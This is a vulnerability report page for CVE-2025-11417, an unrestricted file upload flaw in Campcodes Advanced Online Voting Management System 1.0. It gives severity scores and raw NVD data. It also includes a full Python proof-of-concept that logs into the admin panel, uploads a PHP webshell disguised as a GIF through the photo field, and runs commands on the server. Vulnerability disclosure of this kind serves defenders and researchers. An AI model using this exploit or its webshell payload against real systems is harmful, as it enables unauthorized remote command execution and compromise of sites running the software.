Security Vulnerability Report
中文
CVE-2025-11417 CVSS 6.3 MEDIUM

CVE-2025-11417

Published: 2025-10-08 00:15:33
Last Modified: 2026-04-29 01:00:02

Description

A weakness has been identified in Campcodes Advanced Online Voting Management System 1.0. This vulnerability affects unknown code of the file /admin/voters_add.php. Executing manipulation of the argument photo can lead to unrestricted upload. The attack can be launched remotely. The exploit has been made available to the public and could be exploited.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:campcodes:advanced_online_voting_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Campcodes Advanced Online Voting Management System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11417 PoC - Campcodes Advanced Online Voting Management System # Unrestricted File Upload via /admin/voters_add.php (photo parameter) import requests import sys from requests_toolbelt.multipart.encoder import MultipartEncoder TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password" session = requests.Session() # Step 1: Login to the admin panel to obtain a valid session login_url = f"{TARGET_URL}/admin/login.php" login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } resp = session.post(login_url, data=login_data) print(f"[*] Login response status: {resp.status_code}") # Step 2: Prepare malicious PHP webshell payload disguised as an image # Using a GIF header to bypass naive content-type checks php_payload = b"GIF89a;\n<?php system($_GET['cmd']); ?>" upload_url = f"{TARGET_URL}/admin/voters_add.php" multipart_data = MultipartEncoder( fields={ "firstname": "test", "lastname": "test", "username": "voter_test", "password": "test123", "photo": ("shell.php", php_payload, "image/gif"), "add": "submit" } ) headers = { "Content-Type": multipart_data.content_type, "Referer": f"{TARGET_URL}/admin/voters_add.php" } # Step 3: Upload the malicious file print(f"[*] Uploading payload to {upload_url}") resp = session.post(upload_url, data=multipart_data, headers=headers) print(f"[*] Upload response status: {resp.status_code}") # Step 4: Try to access the uploaded webshell # Common upload directories in Campcodes voting system shell_paths = [ f"{TARGET_URL}/admin/uploads/shell.php", f"{TARGET_URL}/admin/upload/shell.php", f"{TARGET_URL}/admin/images/shell.php", f"{TARGET_URL}/uploads/shell.php", f"{TARGET_URL}/upload/shell.php", f"{TARGET_URL}/images/shell.php" ] for shell_url in shell_paths: print(f"[*] Checking shell at: {shell_url}") resp = session.get(shell_url, params={"cmd": "id"}) if resp.status_code == 200 and ("uid=" in resp.text or "www-data" in resp.text): print(f"[+] SUCCESS! Webshell is accessible at: {shell_url}") print(f"[+] Command output: {resp.text}") break else: print("[-] Could not locate uploaded shell. Check upload directory manually.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11417", "sourceIdentifier": "[email protected]", "published": "2025-10-08T00:15:32.827", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Campcodes Advanced Online Voting Management System 1.0. This vulnerability affects unknown code of the file /admin/voters_add.php. Executing manipulation of the argument photo can lead to unrestricted upload. The attack can be launched remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:campcodes:advanced_online_voting_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "C9D45DEC-8B0D-4BC9-BAC8-D185783F570F"}]}]}], "references": [{"url": "https://github.com/hbesljx/vul/issues/4", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.327353", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327353", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.665597", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.campcodes.com/", "source": "[email protected]", "tags": ["Product"]}]}}